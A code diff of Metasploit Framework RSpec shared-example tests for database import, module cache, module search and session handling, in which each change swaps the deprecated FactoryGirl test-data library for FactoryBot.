@ -831,7 +831,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do
end end
let(:web_vuln_attributes) do let(:web_vuln_attributes) do
FactoryGirl.attributes_for(:exported_web_vuln) FactoryBot.attributes_for(:exported_web_vuln)
end end
subject(:import_msf_web_vuln_element) do subject(:import_msf_web_vuln_element) do
@ -1150,7 +1150,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Import::MetasploitFramework::XML' do
end end
let(:web_vuln) do let(:web_vuln) do
FactoryGirl.create(:mdm_web_vuln) FactoryBot.create(:mdm_web_vuln)
end end
it 'should call #import_msf_web_vuln_element' do it 'should call #import_msf_web_vuln_element' do

View File

@ -20,7 +20,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
end end
let!(:module_details) do let!(:module_details) do
FactoryGirl.create_list( FactoryBot.create_list(
:mdm_module_detail, :mdm_module_detail,
module_detail_count module_detail_count
) )
@ -83,15 +83,15 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
end end
let(:mtype) do let(:mtype) do
FactoryGirl.generate :mdm_module_detail_mtype FactoryBot.generate :mdm_module_detail_mtype
end end
let(:refname) do let(:refname) do
FactoryGirl.generate :mdm_module_detail_refname FactoryBot.generate :mdm_module_detail_refname
end end
let!(:module_detail) do let!(:module_detail) do
FactoryGirl.create( FactoryBot.create(
:mdm_module_detail :mdm_module_detail
) )
end end
@ -106,7 +106,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
end end
let!(:module_detail) do let!(:module_detail) do
FactoryGirl.create(:mdm_module_detail) FactoryBot.create(:mdm_module_detail)
end end
context 'with matching Mdm::Module::Detail' do context 'with matching Mdm::Module::Detail' do
@ -159,7 +159,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
before(:example) do before(:example) do
Mdm::Module::Detail::STANCES.each do |stance| Mdm::Module::Detail::STANCES.each do |stance|
FactoryGirl.create(:mdm_module_detail, :stance => stance) FactoryBot.create(:mdm_module_detail, :stance => stance)
end end
end end
@ -203,7 +203,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
end end
let!(:module_authors) do let!(:module_authors) do
FactoryGirl.create_list(:mdm_module_author, 2) FactoryBot.create_list(:mdm_module_author, 2)
end end
let(:target_module_author) do let(:target_module_author) do
@ -258,7 +258,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
end end
let!(:existing_module_details) do let!(:existing_module_details) do
FactoryGirl.create_list(:mdm_module_detail, 2) FactoryBot.create_list(:mdm_module_detail, 2)
end end
let(:target_module_detail) do let(:target_module_detail) do
@ -305,7 +305,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
context 'with ref keyword' do context 'with ref keyword' do
let(:ref) do let(:ref) do
FactoryGirl.generate :mdm_module_ref_name FactoryBot.generate :mdm_module_ref_name
end end
let(:search_string) do let(:search_string) do
@ -314,7 +314,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
end end
let!(:module_ref) do let!(:module_ref) do
FactoryGirl.create(:mdm_module_ref) FactoryBot.create(:mdm_module_ref)
end end
context 'with Mdm::Module::Ref#name' do context 'with Mdm::Module::Ref#name' do
@ -344,7 +344,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
context 'with type keyword' do context 'with type keyword' do
let(:type) do let(:type) do
FactoryGirl.generate :mdm_module_detail_mtype FactoryBot.generate :mdm_module_detail_mtype
end end
let(:search_string) do let(:search_string) do
@ -356,7 +356,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
end end
let!(:all_module_details) do let!(:all_module_details) do
FactoryGirl.create_list(:mdm_module_detail, 2) FactoryBot.create_list(:mdm_module_detail, 2)
end end
context 'with Mdm::Module::Ref#name' do context 'with Mdm::Module::Ref#name' do
@ -389,7 +389,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
end end
let!(:module_action) do let!(:module_action) do
FactoryGirl.create(:mdm_module_action) FactoryBot.create(:mdm_module_action)
end end
it 'should match Mdm::Module::Action#name' do it 'should match Mdm::Module::Action#name' do
@ -411,7 +411,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
end end
let!(:module_arch) do let!(:module_arch) do
FactoryGirl.create(:mdm_module_arch) FactoryBot.create(:mdm_module_arch)
end end
it 'should match Mdm::Module::Arch#name' do it 'should match Mdm::Module::Arch#name' do
@ -433,7 +433,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
end end
let!(:module_author) do let!(:module_author) do
FactoryGirl.create(:mdm_module_author) FactoryBot.create(:mdm_module_author)
end end
it 'should match Mdm::Module::Author#name' do it 'should match Mdm::Module::Author#name' do
@ -455,7 +455,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
end end
let!(:all_module_details) do let!(:all_module_details) do
FactoryGirl.create_list(:mdm_module_detail, 3) FactoryBot.create_list(:mdm_module_detail, 3)
end end
context 'with #description' do context 'with #description' do
@ -515,7 +515,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
end end
let!(:module_platform) do let!(:module_platform) do
FactoryGirl.create(:mdm_module_platform) FactoryBot.create(:mdm_module_platform)
end end
it 'should match Mdm::Module::Platform#name' do it 'should match Mdm::Module::Platform#name' do
@ -537,7 +537,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
end end
let!(:module_ref) do let!(:module_ref) do
FactoryGirl.create(:mdm_module_ref) FactoryBot.create(:mdm_module_ref)
end end
it 'should match Mdm::Module::Ref#name' do it 'should match Mdm::Module::Ref#name' do
@ -559,7 +559,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
end end
let!(:module_target) do let!(:module_target) do
FactoryGirl.create(:mdm_module_target) FactoryBot.create(:mdm_module_target)
end end
it 'should match Mdm::Module::Target#name' do it 'should match Mdm::Module::Target#name' do
@ -663,7 +663,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
let!(:module_detail) do let!(:module_detail) do
# needs to reference a real module so that it can be loaded # needs to reference a real module so that it can be loaded
FactoryGirl.create( FactoryBot.create(
:mdm_module_detail, :mdm_module_detail,
:file => module_pathname.to_path, :file => module_pathname.to_path,
:mtime => modification_time, :mtime => modification_time,
@ -836,15 +836,15 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
end end
let(:privileged) do let(:privileged) do
FactoryGirl.generate :mdm_module_detail_privileged FactoryBot.generate :mdm_module_detail_privileged
end end
let(:rank) do let(:rank) do
FactoryGirl.generate :mdm_module_detail_rank FactoryBot.generate :mdm_module_detail_rank
end end
let(:stance) do let(:stance) do
FactoryGirl.generate :mdm_module_detail_stance FactoryBot.generate :mdm_module_detail_stance
end end
before(:example) do before(:example) do
@ -885,7 +885,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
context 'with :action' do context 'with :action' do
let(:name) do let(:name) do
FactoryGirl.generate :mdm_module_action_name FactoryBot.generate :mdm_module_action_name
end end
let(:bits) do let(:bits) do
@ -922,7 +922,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
context 'with :arch' do context 'with :arch' do
let(:name) do let(:name) do
FactoryGirl.generate :mdm_module_arch_name FactoryBot.generate :mdm_module_arch_name
end end
let(:bits) do let(:bits) do
@ -959,11 +959,11 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
context 'with :author' do context 'with :author' do
let(:email) do let(:email) do
FactoryGirl.generate :mdm_module_author_email FactoryBot.generate :mdm_module_author_email
end end
let(:name) do let(:name) do
FactoryGirl.generate :mdm_module_author_name FactoryBot.generate :mdm_module_author_name
end end
let(:bits) do let(:bits) do
@ -1011,7 +1011,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
end end
let(:name) do let(:name) do
FactoryGirl.generate :mdm_module_platform_name FactoryBot.generate :mdm_module_platform_name
end end
it 'should create an Mdm::Module::Platform' do it 'should create an Mdm::Module::Platform' do
@ -1048,7 +1048,7 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
end end
let(:name) do let(:name) do
FactoryGirl.generate :mdm_module_ref_name FactoryBot.generate :mdm_module_ref_name
end end
it 'should create an Mdm::Module::Ref' do it 'should create an Mdm::Module::Ref' do
@ -1086,11 +1086,11 @@ RSpec.shared_examples_for 'Msf::DBManager::ModuleCache' do
end end
let(:index) do let(:index) do
FactoryGirl.generate :mdm_module_target_index FactoryBot.generate :mdm_module_target_index
end end
let(:name) do let(:name) do
FactoryGirl.generate :mdm_module_target_name FactoryBot.generate :mdm_module_target_name
end end
it 'should create an Mdm::Module::Target' do it 'should create an Mdm::Module::Target' do

View File

@ -5,11 +5,11 @@ RSpec.shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Platform#n
end end
let!(:module_platform) do let!(:module_platform) do
FactoryGirl.create(:mdm_module_platform) FactoryBot.create(:mdm_module_platform)
end end
let!(:module_target) do let!(:module_target) do
FactoryGirl.create(:mdm_module_target) FactoryBot.create(:mdm_module_target)
end end
context 'with Mdm::Module::Platform#name' do context 'with Mdm::Module::Platform#name' do

View File

@ -5,7 +5,7 @@ RSpec.shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name k
end end
let(:name) do let(:name) do
FactoryGirl.generate :mdm_module_ref_name FactoryBot.generate :mdm_module_ref_name
end end
let(:search_string) do let(:search_string) do
@ -13,7 +13,7 @@ RSpec.shared_examples_for 'Msf::DBManager#search_modules Mdm::Module::Ref#name k
end end
before(:example) do before(:example) do
FactoryGirl.create(:mdm_module_ref, :name => name) FactoryBot.create(:mdm_module_ref, :name => name)
end end
name_prefix = "#{keyword.to_s.upcase}-" name_prefix = "#{keyword.to_s.upcase}-"

View File

@ -33,7 +33,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
end end
let(:host) do let(:host) do
FactoryGirl.create(:mdm_host, :workspace => session_workspace) FactoryBot.create(:mdm_host, :workspace => session_workspace)
end end
let(:module_instance) do let(:module_instance) do
@ -50,7 +50,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
end end
let(:options_workspace) do let(:options_workspace) do
FactoryGirl.create(:mdm_workspace) FactoryBot.create(:mdm_workspace)
end end
let(:parent_module_fullname) do let(:parent_module_fullname) do
@ -95,7 +95,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
end end
let(:session_workspace) do let(:session_workspace) do
FactoryGirl.create(:mdm_workspace) FactoryBot.create(:mdm_workspace)
end end
before(:example) do before(:example) do
@ -115,7 +115,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
} }
) )
FactoryGirl.create( FactoryBot.create(
:mdm_module_detail, :mdm_module_detail,
:fullname => parent_module_fullname, :fullname => parent_module_fullname,
:name => parent_module_name :name => parent_module_name
@ -128,11 +128,11 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
end end
let(:match_set) do let(:match_set) do
FactoryGirl.create(:automatic_exploitation_match_set, user: session_workspace.owner,workspace:session_workspace) FactoryBot.create(:automatic_exploitation_match_set, user: session_workspace.owner,workspace:session_workspace)
end end
let(:run) do let(:run) do
FactoryGirl.create(:automatic_exploitation_run, workspace: session_workspace, match_set_id: match_set.id) FactoryBot.create(:automatic_exploitation_run, workspace: session_workspace, match_set_id: match_set.id)
end end
let(:user_data) do let(:user_data) do
@ -175,7 +175,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
context 'with session responds to arch' do context 'with session responds to arch' do
let(:arch) do let(:arch) do
FactoryGirl.generate :mdm_host_arch FactoryBot.generate :mdm_host_arch
end end
before(:example) do before(:example) do
@ -306,7 +306,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
end end
let(:service) do let(:service) do
FactoryGirl.create( FactoryBot.create(
:mdm_service, :mdm_service,
:host => host :host => host
) )
@ -504,7 +504,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
context 'with session responds to arch' do context 'with session responds to arch' do
let(:arch) do let(:arch) do
FactoryGirl.generate :mdm_host_arch FactoryBot.generate :mdm_host_arch
end end
before(:example) do before(:example) do
@ -635,7 +635,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
end end
let(:service) do let(:service) do
FactoryGirl.create( FactoryBot.create(
:mdm_service, :mdm_service,
:host => host :host => host
) )
@ -818,7 +818,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
context 'with Mdm::Host' do context 'with Mdm::Host' do
let(:host) do let(:host) do
FactoryGirl.create(:mdm_host) FactoryBot.create(:mdm_host)
end end
context 'created Mdm::Session' do context 'created Mdm::Session' do
@ -923,7 +923,7 @@ RSpec.shared_examples_for 'Msf::DBManager::Session' do
context 'with :routes' do context 'with :routes' do
let(:routes) do let(:routes) do
FactoryGirl.build_list( FactoryBot.build_list(
:mdm_route, :mdm_route,
1, 1,
:session => nil :session => nil

View File

@ -311,7 +311,7 @@ RSpec.shared_examples_for 'Msf::ModuleManager::Cache' do
# #
let!(:mdm_module_detail) do let!(:mdm_module_detail) do
FactoryGirl.create(:mdm_module_detail, FactoryBot.create(:mdm_module_detail,
:file => path, :file => path,
:mtype => type, :mtype => type,
:mtime => pathname.mtime, :mtime => pathname.mtime,